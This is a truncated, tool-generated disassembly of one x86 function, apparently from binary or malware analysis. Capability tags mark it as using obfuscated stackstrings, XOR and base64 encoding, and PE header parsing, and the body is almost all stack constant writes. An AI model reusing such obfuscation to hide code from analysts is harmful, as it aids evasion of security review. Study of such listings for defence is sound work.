Function at 0x401400
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1172c
call fcn.004eef10
push esi
mov eax, 0x465
mov word [ebp - 0x33f4], ax
mov byte [ebp - 0xd0a1], 0
mov dword [ebp - 0x6768], 0xadc92631
mov dword [ebp - 0x56ec], 0x32e8938
mov byte [ebp - 0x455f], 0xc1
mov dword [ebp - 0xace4], 0xace1bd13
mov dword [ebp - 0xd088], 0x6549e800
mov byte [ebp - 0xbe79], 0x2e
mov dword [ebp - 0x11488], 0xac494fc8
mov dword [ebp - 0x11484], 0x13cf630d
mov dword [ebp - 0x56d8], 0x750b3f5c
mov dword [ebp - 0x33cc], 0x4d1f6be0
mov ecx, 0x421
mov word [ebp - 0x1124], cx
mov edx, 0xe39
mov word [ebp - 0xf1a4], dx
mov eax, 0x612
mov word [ebp - 0x7854], ax
mov byte [ebp - 0x1105], 0x75
mov dword [ebp - 0x4544], 0x889a9f4a
mov dword [ebp - 0xd044], 0x733427a1
mov dword [ebp - 0x7840], 0x7285a6fc
mov byte [ebp - 0x9c6d], 0x50
mov byte [ebp - 0xd01d], 0x47
mov dword [ebp - 0x8998], 0xbae95311
mov dword [ebp - 0x21c4], 0x4fe3c597
mov ecx, 0xe29
mov word [ebp - 0x11448], cx
mov dword [ebp - 0x7810], 0x158330fe
mov byte [ebp - 0x568d], 0x38
mov dword [ebp - 0x568c], 0x8f0ccc02
mov dword [ebp - 0x218c], 0x6ce12073
mov edx, 0xfa9
mov word [ebp - 0xcfd8], dx
mov eax, 0x624
mov word [ebp - 0x2170], ax
mov dword [ebp - 0x3344], 0x2fa3c06f
mov dword [ebp - 0xac3c], 0x4c84f4aa
mov byte [ebp - 0xcfb9], 0x61
mov dword [ebp - 0x10230], 0x213c6451
mov dword [ebp - 0xe0d0], 0x769d7b39
mov ecx, 0x6190
mov word [ebp - 0x66d8], cx
mov dword [ebp - 0x66d4], 0xf4141fbd
mov dword [ebp - 0x77b4], 0x3b14483
mov byte [ebp - 0x10206], 0x72
mov byte [ebp - 0xbdc1], 0xf4
mov dword [ebp - 0x1064], 0x5514c9ab
mov byte [ebp - 0xe091], 0x74
mov dword [ebp - 0x101e0], 0xd7567a3
mov byte [ebp - 0x101d9], 0x32
mov byte [ebp - 0xabe1], 0x5f
mov dword [ebp - 0x2100], 0x675df699
mov dword [ebp - 0x1040], 0x76a12f1e
mov dword [ebp - 0xe078], 0x4e54a14c
mov edx, 0xc42
mov word [ebp - 0x1038], dx
mov dword [ebp - 0x4464], 0x7c46e725
mov dword [ebp - 0xe074], 0x3c411cc9
mov eax, 0x89b
mov word [ebp - 0x101b4], ax
mov dword [ebp - 0x445c], 0xb6b54512
mov byte [ebp - 0xbd75], 0xe7
mov dword [ebp - 0xbd70], 0xc33f4444
mov dword [ebp - 0x7768], 0x4c46bf4e
mov ecx, 0x88a
mov word [ebp - 0xf0a0], cx
mov byte [ebp - 0x32b1], 0xc7
mov dword [ebp - 0xbd5c], 0x29f17f65
mov dword [ebp - 0x88c8], 0x30fe5f62
mov dword [ebp - 0xcf10], 0x5b3ddef0
mov edx, 0x43c
mov word [ebp - 0x3294], dx
mov eax, 0x9f9
mov word [ebp - 0x10160], ax
mov dword [ebp - 0xcf04], 0x138b9afc
mov dword [ebp - 0x664c], 0x6fd1c30b
mov dword [ebp - 0x88ac], 0x53d5e89
mov dword [ebp - 0x4410], 0x6e996a8
mov byte [ebp - 0xfa9], 0x48
mov dword [ebp - 0x9b14], 0xb329e22d
mov dword [ebp - 0xfa8], 0x67efa1a8
mov byte [ebp - 0x9b05], 0xa9
mov dword [ebp - 0x100e0], 0x1cbc73e8
mov dword [ebp - 0x3204], 0x765e6803
mov dword [ebp - 0x9af0], 0xefc12322
mov dword [ebp - 0x9ae8], 0x1351c70b
mov dword [ebp - 0x100c8], 0x42ce439
mov dword [ebp - 0x9ae0], 0x6f5794b1
mov dword [ebp - 0x112f0], 0x69389947
mov dword [ebp - 0xdf80], 0x56c1a93f
mov byte [ebp - 0x43a9], 0x29
mov ecx, 0x803
mov word [ebp - 0x100a8], cx
mov dword [ebp - 0xdf58], 0x1945d3a3
mov dword [ebp - 0xf3c], 0xfffe3f1
mov dword [ebp - 0x8810], 0x27470ef
mov dword [ebp - 0x3198], 0x772d328
mov dword [ebp - 0xab0c], 0x25f19570
mov dword [ebp - 0x87f8], 0x19589894
mov dword [ebp - 0xf04], 0x473b4a68
mov byte [ebp - 0x87e5], 0x9d
mov dword [ebp - 0xce18], 0x178a69b2
mov byte [ebp - 0x9a71], 0x7d
mov dword [ebp - 0x4330], 0x4a70f6f
mov dword [ebp - 0x87d8], 0x59284a82
mov dword [ebp - 0xbc2c], 0x2da18f91
mov byte [ebp - 0xaad6], 0x88
mov byte [ebp - 0x654d], 0xb1
mov dword [ebp - 0xedc], 0x87833367
mov dword [ebp - 0x3140], 0x557b8997
mov byte [ebp - 0x1124e], 0x28
mov dword [ebp - 0xbc10], 0x71a9d99a
mov edx, 0x7c89
mov word [ebp - 0x6530], dx
mov dword [ebp - 0xbc08], 0xd8910882
mov byte [ebp - 0x6525], 0x6b
mov dword [ebp - 0x10024], 0x9e9fe844
mov dword [ebp - 0xdeb4], 0xb1f6429
mov eax, 0x333
mov word [ebp - 0x7628], ax
mov ecx, 0xfce
mov word [ebp - 0x651c], cx
mov byte [ebp - 0xbbd5], 8
mov edx, 0x6c7
mov word [ebp - 0xcde0], dx
mov dword [ebp - 0x5488], 0x6e84e40f
mov dword [ebp - 0x3104], 0x5aa1659
mov dword [ebp - 0x3100], 0x712343c3
mov eax, 0x459
mov word [ebp - 0x30fc], ax
mov ecx, 0x78a
mov word [ebp - 0xaa80], cx
mov dword [ebp - 0x42d4], 0x3c538f0a
mov byte [ebp - 0xfffd], 0x58
mov dword [ebp - 0xea0], 0x168df31e
mov dword [ebp - 0x9a0c], 0x4ec93093
mov dword [ebp - 0x6500], 0x27cfd1ff
mov dword [ebp - 0x99fc], 0x3f514add
mov byte [ebp - 0x8775], 0x37
mov byte [ebp - 0xe81], 0x71
mov byte [ebp - 0x8769], 0x6d
mov byte [ebp - 0x8761], 0x73
mov byte [ebp - 0xe61], 0x86
mov edx, 0x9d4
mov word [ebp - 0xef20], dx
mov dword [ebp - 0xaa4c], 0x3f752694
mov eax, 0xc12
mov word [ebp - 0xde6c], ax
mov dword [ebp - 0xcd74], 0x6535936c
mov byte [ebp - 0xffbd], 0x28
mov byte [ebp - 0x873d], 0x31
mov dword [ebp - 0xe4c], 0x7afd46d2
mov dword [ebp - 0xde48], 0x3850d465
mov dword [ebp - 0x7584], 0x658d6ac9
mov dword [ebp - 0x1efc], 0x6fe2f02a
mov dword [ebp - 0x111b4], 0x6bf60509
mov byte [ebp - 0x756d], 0xcc
mov byte [ebp - 0xde35], 0x26
mov dword [ebp - 0x871c], 0x4812dcae
mov byte [ebp - 0x8715], 0xef
mov dword [ebp - 0xe10], 0x220159e9
mov byte [ebp - 0x9959], 0x60
mov dword [ebp - 0x9958], 0xfb5e7199
mov dword [ebp - 0xa9e0], 0x6b3540a2
mov dword [ebp - 0xde14], 0x3a4a6a7e
mov ecx, 0x6d8
mov word [ebp - 0x53e4], cx
mov dword [ebp - 0x9944], 0x298c0c7d
mov dword [ebp - 0x86dc], 0xc019425
mov dword [ebp - 0xcce8], 0x3be1a556
mov dword [ebp - 0xee94], 0x685ce75a
mov dword [ebp - 0xccdc], 0x8ba0b153
mov edx, 0x51a
mov word [ebp - 0x1eb0], dx
mov eax, 0x659
mov word [ebp - 0xccd8], ax
mov ecx, 0x418c
mov word [ebp - 0xee84], cx
mov edx, 0xfe6
mov word [ebp - 0x1ea8], dx
mov dword [ebp - 0x751c], 0x48030daf
mov byte [ebp - 0xa9b6], 0xcc
mov byte [ebp - 0xa9b5], 0xb1
mov dword [ebp - 0xdd8], 0xc9c6b40a
mov eax, 0x7610
mov word [ebp - 0x750c], ax
mov dword [ebp - 0x538c], 0x1f455348
mov ecx, 0x520
mov word [ebp - 0xa9a4], cx
mov dword [ebp - 0x7500], 0xc4224e4
mov edx, 0x2dab
mov word [ebp - 0xee68], dx
mov eax, 0x721
mov word [ebp - 0x1e6c], ax
mov dword [ebp - 0x301c], 0x3c4584d2
mov dword [ebp - 0xccb8], 0x704ae368
mov dword [ebp - 0xa97c], 0x54341207
mov dword [ebp - 0xbaac], 0x29732daf
mov ecx, 0xc21
mov word [ebp - 0x1e40], cx
mov edx, 0x1d1d
mov word [ebp - 0x864c], dx
mov byte [ebp - 0xdd81], 5
mov byte [ebp - 0xba91], 0x3f
mov byte [ebp - 0x8645], 0x34
mov byte [ebp - 0xcc6e], 0x70
mov dword [ebp - 0xdd7c], 0x312310c6
mov dword [ebp - 0x532c], 0x32fadd2a
mov byte [ebp - 0xcc6d], 0x15
mov byte [ebp - 0x41c5], 0xed
mov byte [ebp - 0xa941], 0xe
mov byte [ebp - 0x6391], 9
mov dword [ebp - 0xcc54], 0xb1e3642
mov byte [ebp - 0xcc45], 0x10
mov dword [ebp - 0xedfc], 0xbfa495e3
mov dword [ebp - 0xcc44], 0x256d2454
mov byte [ebp - 0xdd55], 0x2a
mov byte [ebp - 0x1de9], 0x3e
mov dword [ebp - 0xcc28], 0x252c70d
mov eax, 0x5a6
mov word [ebp - 0xdd48], ax
mov byte [ebp - 0x9871], 0xb4
mov dword [ebp - 0x11080], 0x3cf3e596
mov ecx, 0x4d38
mov word [ebp - 0xa90c], cx
mov dword [ebp - 0xfea8], 0x600e7f7e
mov dword [ebp - 0xedd0], 0x78709525
mov dword [ebp - 0xd4c], 0x22cdff71
mov dword [ebp - 0x6364], 0x376adf94
mov dword [ebp - 0x9864], 0x626e37ca
mov dword [ebp - 0x1105c], 0x7de50048
mov byte [ebp - 0xfe7d], 0x3b
mov dword [ebp - 0x85d8], 0x6e9e3c4a
mov dword [ebp - 0x52c8], 0x76667e0a
mov byte [ebp - 0x1d6a], pe_nt_image_headers32
mov dword [ebp - 0xfe5c], 0x4ec8ed93
mov dword [ebp - 0x2f2c], 0x412a1814
mov byte [ebp - 0xa8c5], 2
mov dword [ebp - 0x4158], 0xe80f2820
mov dword [ebp - 0xcbac], 0x55b8151e
mov dword [ebp - 0x6324], 0x6bad2528
mov dword [ebp - 0x9824], 0x2e868e4d
mov dword [ebp - 0xb9d0], 0x39fc9db4
mov byte [ebp - 0x6315], 0x46
mov byte [ebp - 0x8585], 0x4d
mov dword [ebp - 0xcb88], 0x7fe36467
mov dword [ebp - 0xa8b4], 0x3b6e6a60
mov byte [ebp - 0x10ffd], 0x98
mov byte [ebp - 0x527e], 1
mov dword [ebp - 0x10ffc], 0x28232cce
mov byte [ebp - 0x10ff5], 0x5f
mov dword [ebp - 0xcbc], 0x1ebf92db
mov dword [ebp - 0xcb8], 0x6ee7d967
mov dword [ebp - 0xa884], 0x27c9d7d5
mov dword [ebp - 0xed2c], 0x5581533d
mov byte [ebp - 0x4115], 0x5f
mov byte [ebp - 0xdca9], 0x79
mov byte [ebp - 0xed21], 0x15
mov dword [ebp - 0x97d8], 0xde58f7fd
mov dword [ebp - 0xcb58], 0x34bb807a
mov byte [ebp - 0x73a5], 0x28
mov dword [ebp - 0x8554], 0x9a63c13f
mov edx, 0x652
mov word [ebp - 0x62dc], dx
mov eax, 0x4eb9
mov word [ebp - 0xb990], ax
mov dword [ebp - 0x854c], 0x5dd0a61e
mov byte [ebp - 0x8545], 0x4b
mov dword [ebp - 0x8544], 0xc1d4862
mov ecx, 0xdbf
mov word [ebp - 0xfde8], cx
mov edx, 0xe56
mov word [ebp - 0xb988], dx
mov byte [ebp - 0xcb09], 0x3d
mov dword [ebp - 0x1cd4], 0x443739c2
mov byte [ebp - 0x10f71], 0xa
mov dword [ebp - 0xfdd0], 0x2dce519e
mov eax, 0x30f
mov word [ebp - 0xa82c], ax
mov dword [ebp - 0x2e9c], 0x5b5eba29
mov dword [ebp - 0x1cc0], 0x94aefcd3
mov byte [ebp - 0x8505], 0x7b
mov dword [ebp - 0xecc4], 0x35a3da9
mov dword [ebp - 0x9780], 0x32be0246
mov ecx, 0xcb8
mov word [ebp - 0xcadc], cx
mov edx, 0x67a2
mov word [ebp - 0x2e80], dx
mov eax, 0xfb9
mov word [ebp - 0xb950], ax
mov dword [ebp - 0xcad0], 0x87490608
mov dword [ebp - 0xcacc], 0x81c4f41
mov dword [ebp - 0x84e0], 0x2a3d1ade
mov dword [ebp - 0x4084], 0xd59f8b6e
mov ecx, 0x55b
mov word [ebp - 0x407c], cx
mov dword [ebp - 0x84d0], 0x60c5397b
mov dword [ebp - 0xc28], 0x46e9dad5
mov byte [ebp - 0x1c79], 0x57
mov dword [ebp - 0x972c], 0x84682569
mov edx, 0x36e4
mov word [ebp - 0x1c68], dx
mov dword [ebp - 0xca70], 0x64f76346
mov dword [ebp - 0x620c], 0x3820d68d
mov dword [ebp - 0x8494], 0x8346d8fc
mov eax, 0x5c4
mov word [ebp - 0x1c20], ax
mov dword [ebp - 0x6204], 0xe44ef078
mov dword [ebp - 0xbd8], 0x1cbf6a94
mov dword [ebp - 0xbd4], 0xc8b9ef50
mov dword [ebp - 0xbcc], 0x336a75d8
mov dword [ebp - 0xb8b4], 0xd9e21a5e
mov dword [ebp - 0xec14], 0x7bfea916
mov dword [ebp - 0x96c8], 0x6fc89b39
mov dword [ebp - 0xbb0], 0x4a634fb5
mov byte [ebp - 0xb891], 0xeb
mov dword [ebp - 0xebf4], 0x64410c8f
mov dword [ebp - 0xdbd4], 0x785716bf
mov byte [ebp - 0x843d], 0x7c
mov byte [ebp - 0x8435], 0xa9
mov byte [ebp - 0xb851], 0x54
mov byte [ebp - 0x10e3e], 0x45
mov dword [ebp - 0x514c], 0x772a13cc
mov ecx, 0xd98
mov word [ebp - 0xdba4], cx
mov byte [ebp - 0x842d], 0xc5
mov byte [ebp - 0x10e3d], 0x17
mov edx, 0xc5a
mov word [ebp - 0x513c], dx
mov dword [ebp - 0x1bc8], 0x3385209d
mov dword [ebp - 0x5134], 0x2ff1e10
mov eax, 0x5f4
mov word [ebp - 0x6180], ax
mov byte [ebp - 0xdb69], 0x63
mov ecx, 0xd87
mov word [ebp - 0x10e18], cx
mov dword [ebp - 0x5120], 0xa07efb6
mov dword [ebp - 0x6164], 0xfb364f4
mov dword [ebp - 0x2d90], 0x3e2dbab2
mov dword [ebp - 0xfc90], 0x673e719d
mov byte [ebp - 0xebbd], 0x32
mov dword [ebp - 0xb80c], 0x6283d74a
mov dword [ebp - 0x2d8c], 0x7d2a9c2d
mov dword [ebp - 0xc9c8], 0x2290b2f2
mov dword [ebp - 0x10e00], 0x3be8aaf4
mov byte [ebp - 0x3f85], 0x1b
mov edx, 0xf23
mov word [ebp - 0xebb0], dx
mov dword [ebp - 0xebac], 0x1b6964eb
mov dword [ebp - 0xfc74], 0x1cff3283
mov dword [ebp - 0x510c], 0xc5e23be4
mov byte [ebp - 0xc9a9], 0x14
mov byte [ebp - 0xfc69], 6
mov dword [ebp - 0xeb9c], 0x50ef69f5
mov dword [ebp - 0xeb98], 0x4ecb7edd
mov dword [ebp - 0x83e0], 0x6bc8961b
mov eax, 0x4011
mov word [ebp - 0x961c], ax
mov dword [ebp - 0x83d4], 0xe9b35340
mov ecx, 0x1d10
mov word [ebp - 0x3f58], cx
mov dword [ebp - 0xeb80], 0x6b37a65c
mov dword [ebp - 0xb7e4], 0x34951670
mov byte [ebp - 0x1b76], 0xa4
mov byte [ebp - 0x1b75], 0x55
mov dword [ebp - 0xafc], 0x61fd90fd
mov byte [ebp - 0xfc0d], 0x8a
mov edx, 0x4859
mov word [ebp - 0x95e8], dx
mov dword [ebp - 0x3f1c], 0x2334e2
mov eax, 0x159
mov word [ebp - 0xc96c], ax
mov dword [ebp - 0xdafc], 0x79be8d65
mov dword [ebp - 0xa69c], 0x19164b8d
mov dword [ebp - 0xad8], 0x3653a2ef
mov ecx, 0x1076
mov word [ebp - 0x10d84], cx
mov edx, 0x8e2
mov word [ebp - 0xa690], dx
mov eax, 0xc33
mov word [ebp - 0x2ce4], ax
mov dword [ebp - 0x1b2c], 0x9dc7fdb8
mov dword [ebp - 0xa66c], 0x17b17f0e
mov ecx, 0xf38
mov word [ebp - 0xb7a4], cx
mov edx, 0x72f2
mov word [ebp - 0x5070], dx
mov dword [ebp - 0x7190], 0x526b7507
mov dword [ebp - 0x95a4], 0x4bd7b8b1
mov byte [ebp - 0x959d], 0xd6
mov byte [ebp - 0x3ea5], 0x71
mov dword [ebp - 0x1afc], 0x6d2bc1b9
mov eax, 0x7b8b
mov word [ebp - 0xa84], ax
mov dword [ebp - 0x503c], 0xf0479441
mov dword [ebp - 0x2ca0], 0xf842745c
mov ecx, 0x370
mov word [ebp - 0xb768], cx
mov edx, 0x7e03
mov word [ebp - 0x60a4], dx
mov byte [ebp - 0x8309], 0x20
mov dword [ebp - 0x6080], 0x554ddba3
mov dword [ebp - 0x2c6c], 0x70c0cdb5
mov eax, 0x679e
mov word [ebp - 0x716c], ax
mov byte [ebp - 0x9549], 0x24
mov byte [ebp - 0xa619], 0x69
mov ecx, 0xcac
mov word [ebp - 0xa40], cx
mov dword [ebp - 0x3e64], 0xd9edf23e
mov dword [ebp - 0xa5fc], 0xf16cc484
mov dword [ebp - 0x82e0], 0x2c5fb01f
mov byte [ebp - 0xa1d], 0x53
mov dword [ebp - 0x7130], 0xcfb31278
mov edx, 0x2a08
mov word [ebp - 0x712c], dx
mov dword [ebp - 0xa5d0], 0x10dd7aae
mov dword [ebp - 0x82b8], 0xbabe14d8
mov dword [ebp - 0x9504], 0x604ef919
mov dword [ebp - 0x710c], 0x8f28282c
mov dword [ebp - 0xa5c0], 0x1c6b931c
mov dword [ebp - 0xb704], 0x6b6641f4
mov eax, 0x6623
mov word [ebp - 0x7100], ax
mov dword [ebp - 0xb6f8], 0x26b9e4de
mov dword [ebp - 0xb6f4], 0x6a798f17
mov ecx, 0x79a2
mov word [ebp - 0x94e8], cx
mov byte [ebp - 0x2c06], 0x3f
mov edx, 0xde5
mov word [ebp - 0x94dc], dx
mov eax, 0x754
mov word [ebp - 0xfaf8], ax
mov dword [ebp - 0x9f0], 0x5fbcacf3
mov dword [ebp - 0x4f94], 0xc456065d
mov dword [ebp - 0x94bc], 0xeadb56e5
mov dword [ebp - 0x70d4], 0xd40cdf68
mov ecx, 0x7c26
mov word [ebp - 0x94b4], cx
mov dword [ebp - 0xa584], 0x54a6278f
mov dword [ebp - 0x3dd8], 0x45cf5eb8
mov edx, 0x1fc
mov word [ebp - 0xd9b8], dx
mov dword [ebp - 0x3dd4], 0xac0fe092
mov byte [ebp - 0x5fbd], 4
mov dword [ebp - 0x10c94], 0x1289e389
mov dword [ebp - 0x1a24], 0xf249a799
mov eax, 0xd1b
mov word [ebp - 0x10c90], ax
mov ecx, 0x9bf
mov word [ebp - 0x7074], cx
mov edx, 0x8a8
mov word [ebp - 0xea30], dx
mov eax, 0x408
mov word [ebp - 0x10c7c], ax
mov dword [ebp - 0xb668], 0x3b39cdf5
mov dword [ebp - 0xb664], 0x1ac08e49
mov byte [ebp - 0x9a5], 0x66
mov ecx, 0xd83
mov word [ebp - 0x8228], cx
mov byte [ebp - 0xd969], 0xe5
mov dword [ebp - 0x10c74], 0x5e558024
mov byte [ebp - 0x4f16], 0x14
mov edx, 0xfc0
mov word [ebp - 0xd95c], dx
mov byte [ebp - 0xfa55], 0x52
mov eax, 0xa7a
mov word [ebp - 0x19e0], ax
mov dword [ebp - 0xfa50], 0x68de5635
mov ecx, 0x55b
mov word [ebp - 0x9414], cx
mov edx, 0x87b
mov word [ebp - 0x4efc], dx
mov eax, 0x3a11
mov word [ebp - 0xa52c], ax
mov dword [ebp - 0x7004], 0x4bee992b
mov dword [ebp - 0xb624], 0xac8e02b
mov byte [ebp - 0xd939], 0x5c
mov ecx, 0x617
mov word [ebp - 0x3d88], cx
mov dword [ebp - 0x81e4], 0x13914554
mov dword [ebp - 0xa508], 0x4bc2008
mov dword [ebp - 0xb5fc], 0x29636e4
mov dword [ebp - 0xc7bc], 0x7dad39ce
mov dword [ebp - 0x198c], 0x7bd46c37
mov edx, 0xbdc
mov word [ebp - 0x93d0], dx
mov dword [ebp - 0xa4e4], 0x119726ba
mov dword [ebp - 0x5f38], 0x3500785d
mov eax, 0x4e3
mov word [ebp - 0x5f30], ax
mov dword [ebp - 0x3d64], 0x73e106cf
mov dword [ebp - 0xa4d8], 0x4523b81b
mov byte [ebp - 0xb5e9], 0x76
mov dword [ebp - 0xfa00], 0xbbffe3ba
mov byte [ebp - 0x4e85], 0xf
mov dword [ebp - 0x3d50], 0x933b6186
mov dword [ebp - 0xd8cc], 0x6fa8aed7
mov dword [ebp - 0x2b00], 0x6fc9f869
mov byte [ebp - 0xf9f6], 0x3f
mov dword [ebp - 0xd8c4], 0x3cef515a
mov ecx, 0xe33
mov word [ebp - 0x6fac], cx
mov dword [ebp - 0x939c], 0x6ee37386
mov edx, 0xdef
mov word [ebp - 0xe998], dx
mov dword [ebp - 0x4e70], 0xa787bc8a
mov eax, 0x635
mov word [ebp - 0xc750], ax
mov dword [ebp - 0x904], 0xd6e94a64
mov byte [ebp - 0x4e4d], 0xb7
mov byte [ebp - 0x2ac5], 0x98
mov ecx, 0xf2a
mov word [ebp - 0x8190], cx
mov dword [ebp - 0xe978], 0x2be04c8a
mov edx, 0x2ee1
mov word [ebp - 0x10b90], dx
mov dword [ebp - 0xd858], 0x7c695b94
mov eax, 0x2fa
mov word [ebp - 0x5ebc], ax
mov dword [ebp - 0xf994], 0x5d991318
mov byte [ebp - 0x3cd5], 0x6b
mov dword [ebp - 0x2a84], 0x47829ec
mov ecx, 0x2cb4
mov word [ebp - 0x1908], cx
mov edx, 0x6d5
mov word [ebp - 0x5e90], dx
mov dword [ebp - 0x5e80], 0x7f52fc9
mov dword [ebp - 0x5e70], 0x363d0110
mov eax, 0xe82
mov word [ebp - 0x18e0], ax
mov byte [ebp - 0x5e69], 0x6f
mov ecx, 0x3a4b
mov word [ebp - 0x92c4], cx
mov dword [ebp - 0xe918], 0x8fe6a7eb
mov dword [ebp - 0x3c84], 0x5a26f15c
mov dword [ebp - 0x6f08], 0x185894d0
mov byte [ebp - 0x2a35], 0x1b
mov dword [ebp - 0x858], 0x83b46ceb
mov dword [ebp - 0x6eec], 0x561c0020
mov dword [ebp - 0x8128], 0x332d575d
mov dword [ebp - 0x5e40], 0x4eb25b8a
mov dword [ebp - 0xa3d4], 0x3923ed16
mov dword [ebp - 0x10b1c], 0x200196f
mov edx, 0x6d1
mov word [ebp - 0x2a10], dx
mov eax, 0xc53
mov word [ebp - 0xd7c0], ax
mov dword [ebp - 0x80fc], 0x30e82f5e
mov ecx, 0xb41
mov word [ebp - 0x6ec0], cx
mov edx, 0xb7c
mov word [ebp - 0x4da0], dx
mov eax, 0x7011
mov word [ebp - 0xb4e4], ax
mov ecx, 0x679a
mov word [ebp - 0x10af8], cx
mov dword [ebp - 0x10af0], 0x5d572e02
mov byte [ebp - 0xa3a2], 0x2e
mov dword [ebp - 0x6eb0], 0x410a5362
mov dword [ebp - 0x4d94], 0xbbf3211
mov byte [ebp - 0x4d81], 0x32
mov edx, 0x3d00
mov word [ebp - 0xf900], dx
mov dword [ebp - 0xe8c4], 0x5451d952
mov dword [ebp - 0x10aa8], 0x2297ca77
mov dword [ebp - 0x80cc], 0x4dc764e6
mov dword [ebp - 0x5de8], 0x6172c94f
mov dword [ebp - 0xb4ac], 0x40b974cb
mov dword [ebp - 0xf8e4], 0x30cc522d
mov byte [ebp - 0x9259], 0xfc
mov dword [ebp - 0xa36c], 0x23601be3
mov eax, 0x2541
mov word [ebp - 0x9258], ax
mov ecx, 0x1fc
mov word [ebp - 0xf8d4], cx
mov dword [ebp - 0xc608], 0x69b6e721
mov dword [ebp - 0xa358], 0x56bf4aab
mov dword [ebp - 0xd77c], 0x49519335
mov dword [ebp - 0x6e64], 0x385951e4
mov edx, 0xd7c
mov word [ebp - 0xd774], dx
mov dword [ebp - 0xb478], 0x2ebec310
mov byte [ebp - 0x2999], 0x4d
mov dword [ebp - 0x2998], 0x8aea717a
mov byte [ebp - 0xf8ca], 0x69
mov dword [ebp - 0x183c], 0xcafe7c6
mov dword [ebp - 0xb470], 0x614bf9b3
mov byte [ebp - 0xf8c9], 0xb1
mov dword [ebp - 0xe89c], 0x2edabe9e
mov byte [ebp - 0xa329], 0x61
mov dword [ebp - 0xc5f0], 0x77e86074
mov dword [ebp - 0x4d20], 0x4b2129bc
mov dword [ebp - 0xa324], 0x6eb5a620
mov byte [ebp - 0xa31d], 0x56
mov dword [ebp - 0x7a8], 0xd7073ca
mov dword [ebp - 0xf8a0], 0x3691d1bd
mov dword [ebp - 0xf89c], 0x4fdf55e
mov dword [ebp - 0x2968], 0x44bfd6d
mov byte [ebp - 0x10a2d], 0x4d
mov byte [ebp - 0xe851], 0xef
mov dword [ebp - 0xf88c], 0x15e1615f
mov dword [ebp - 0x2960], 0x10ee968d
mov dword [ebp - 0x91e8], 0x38072af8
mov byte [ebp - 0x5d69], 0xbe
mov dword [ebp - 0x3b8c], 0x5aee03c0
mov dword [ebp - 0x5d60], 0x760499b0
mov byte [ebp - 0x6e05], 0x2c
mov eax, 0xfa6
mov word [ebp - 0xb420], ax
mov byte [ebp - 0x772], 0xe3
mov dword [ebp - 0x2950], 0x7f6c23bc
mov byte [ebp - 0xa2d9], 0x76
mov dword [ebp - 0x10a0c], 0x7159d306
mov ecx, 0xbbe
mov word [ebp - 0x8044], cx
mov dword [ebp - 0x91b0], 0x7dcba36a
mov dword [ebp - 0xf860], 0x3d6b2725
mov dword [ebp - 0xf850], 0x1f04e793
mov dword [ebp - 0xd700], 0x64328c69
mov dword [ebp - 0xd6f8], 0x52fcd195
mov dword [ebp - 0xa2a8], 0x546f886e
mov byte [ebp - 0x8019], 0x23
mov byte [ebp - 0x3b49], 0x18
mov dword [ebp - 0x9188], 0x54563f0a
mov dword [ebp - 0x179c], 0x6ed7afd7
mov edx, 0x426
mov word [ebp - 0x8008], dx
mov dword [ebp - 0x917c], 0x4a72e720
mov byte [ebp - 0x5d11], 0x24
mov dword [ebp - 0xb3b8], 0xaa738b2
mov eax, 0xe9a
mov word [ebp - 0x7ff4], ax
mov dword [ebp - 0xd6c8], 0x72ebb7a5
mov dword [ebp - 0x5d08], 0x5d81963d
mov byte [ebp - 0x7fdd], 0x3c
mov byte [ebp - 0x3b1d], 0xce
mov dword [ebp - 0x9148], 0x517298ca
mov dword [ebp - 0x5cec], 0x2ad6db02
mov ecx, 0xa06
mov word [ebp - 0x2908], cx
mov dword [ebp - 0x6e8], 0x219489d8
mov byte [ebp - 0xa249], 0xdc
mov dword [ebp - 0x1750], 0xdc837485
mov dword [ebp - 0x7f98], 0x8b3d78c4
mov byte [ebp - 0x1097e], 0x6a
mov byte [ebp - 0x1097d], 7
mov dword [ebp - 0x4c58], 0xadb2c34b
mov dword [ebp - 0x10970], 0x56d7f443
mov dword [ebp - 0x28b4], 0x681a91b3
mov dword [ebp - 0x28ac], 0x1e5042ee
mov dword [ebp - 0x4c2c], 0x25b80ee
mov dword [ebp - 0xa21c], 0x712739fe
mov dword [ebp - 0xc504], 0x97dfb102
mov dword [ebp - 0x90e0], 0x32194348
mov dword [ebp - 0x7f3c], 0x84929885
mov dword [ebp - 0xb30c], 0x4c102efb
mov byte [ebp - 0xc4e1], 0x83
mov dword [ebp - 0x688], 0x63c921be
mov dword [ebp - 0x674], 0xed8664d1
mov byte [ebp - 0x16d1], 0xa3
mov dword [ebp - 0x5c48], 0xa263281b
mov dword [ebp - 0xc4b8], 0x661993b0
mov dword [ebp - 0x664], 0x5314f65d
mov dword [ebp - 0xc4a8], 0x38a42261
mov dword [ebp - 0x90ac], 0x8f56be2
mov byte [ebp - 0xb2c9], 0xd8
mov dword [ebp - 0x2850], 0xe093162
mov edx, 0xde3
mov word [ebp - 0x4b90], dx
mov byte [ebp - 0xe745], 0x16
mov byte [ebp - 0x645], 0x7f
mov dword [ebp - 0x3a54], 0x59edb6b8
mov byte [ebp - 0x16a1], 0x44
mov dword [ebp - 0xd5ec], 0xf87af8c3
mov dword [ebp - 0xd5e4], 0x50cc85a1
mov dword [ebp - 0x2818], 0x7715dbf4
mov byte [ebp - 0x7ed5], 0x7d
mov dword [ebp - 0x3a28], 0x48ebe6f6
mov dword [ebp - 0x7ec8], 0x3b7a2359
mov dword [ebp - 0x1670], 0x143368d5
mov byte [ebp - 0xd5b1], 0x91
mov dword [ebp - 0x1668], 0x152e2b93
mov dword [ebp - 0x108ec], 0x41a70f98
mov dword [ebp - 0xf724], 0x77f69fda
mov dword [ebp - 0xf71c], 0x9d941bb2
mov byte [ebp - 0xf715], 2
mov dword [ebp - 0x27e0], 0x731e61c7
mov dword [ebp - 0xe6e8], 0x937e69a7
mov dword [ebp - 0x4b1c], 0x44809cdd
mov dword [ebp - 0x8ff8], 0xdc69056
mov dword [ebp - 0x5ac], 0x7ec83c4f
mov eax, 0xa80
mov word [ebp - 0x1624], ax
mov dword [ebp - 0x6c68], 0x3eb466c7
mov dword [ebp - 0xb248], 0xa7e8f10
mov dword [ebp - 0xb244], 0xde394ba9
mov dword [ebp - 0xd574], 0x737cc4a9
mov dword [ebp - 0xc420], 0x624393b8
mov dword [ebp - 0x578], 0xe98ee01e
mov byte [ebp - 0x6c29], 0x4a
mov ecx, 0x347
mov word [ebp - 0x8fac], cx
mov dword [ebp - 0xa14c], 0x5bfd1263
mov dword [ebp - 0xc3d4], 0x5be4d752
mov dword [ebp - 0x8f90], 0x77757104
mov edx, 0x499
